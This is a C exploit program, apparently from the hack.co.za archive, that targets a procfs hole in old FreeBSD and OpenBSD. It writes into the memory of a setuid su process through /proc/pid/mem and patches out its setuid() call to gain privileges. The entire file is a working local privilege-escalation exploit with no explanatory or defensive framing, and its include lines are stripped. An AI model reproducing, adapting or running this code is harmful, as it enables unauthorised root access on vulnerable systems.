/* FreeBSD v3.0 OpenBSD 2.1-RELEASE */ #include #include #include #include #include u_char search_code[13] = { 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ /* just do a xor %eax, %eax and then a ret */ u_char new_code[] = { 0x31, 0xc0, 0xc3}; main(int argc, char **argv) { int pid; int fd; char buff[40]; char *user; /* might need to tweak these */ u_int offset=0x8003000; u_int offset_end = 0x8099000; if(argc < 2) { fprintf(stderr, "%s user\n", argv[0]); exit(1); } printf("Demonstration of 4.4BSD procfs hole\n"); printf("Brian Mitchell \n\n"); printf("after you see \"setuid changed\", enter the pw for the user\n"); printf("\aBe warned, searching for the setuid() function takes a long time!\n"); user=argv[1]; pid = fork(); switch(pid) { case -1: perror("fork"); exit(1); case 0: /* give parent time to open /proc/pid/mem */ sleep(3); execl("/usr/bin/su", "su", user, NULL); exit(0); default: sprintf(buff, "/proc/%d/mem", pid); fd = open(buff, O_RDWR); if(fd < 0) { perror("open procmem"); wait(NULL); exit(1); } /* wait for child to execute suid program */ sleep(6); /* stop the child */ kill(pid, 17); printf("searching - please be patient...\n"); /* search for the setuid code */ while(offset != offset_end) { lseek(fd, offset, SEEK_SET); read(fd, buff, 13); if(!bcmp(buff, search_code, 13)) { lseek(fd, offset, SEEK_SET); write(fd, new_code, 3); printf("setuid changed (0x%x)\n", offset); /* sigcont child */ kill(pid, 19); wait(NULL); exit(0); } offset++; } printf("setuid not found!!\n"); kill(pid, 9); wait(NULL); exit(1); } } /* www.hack.co.za [2000]*/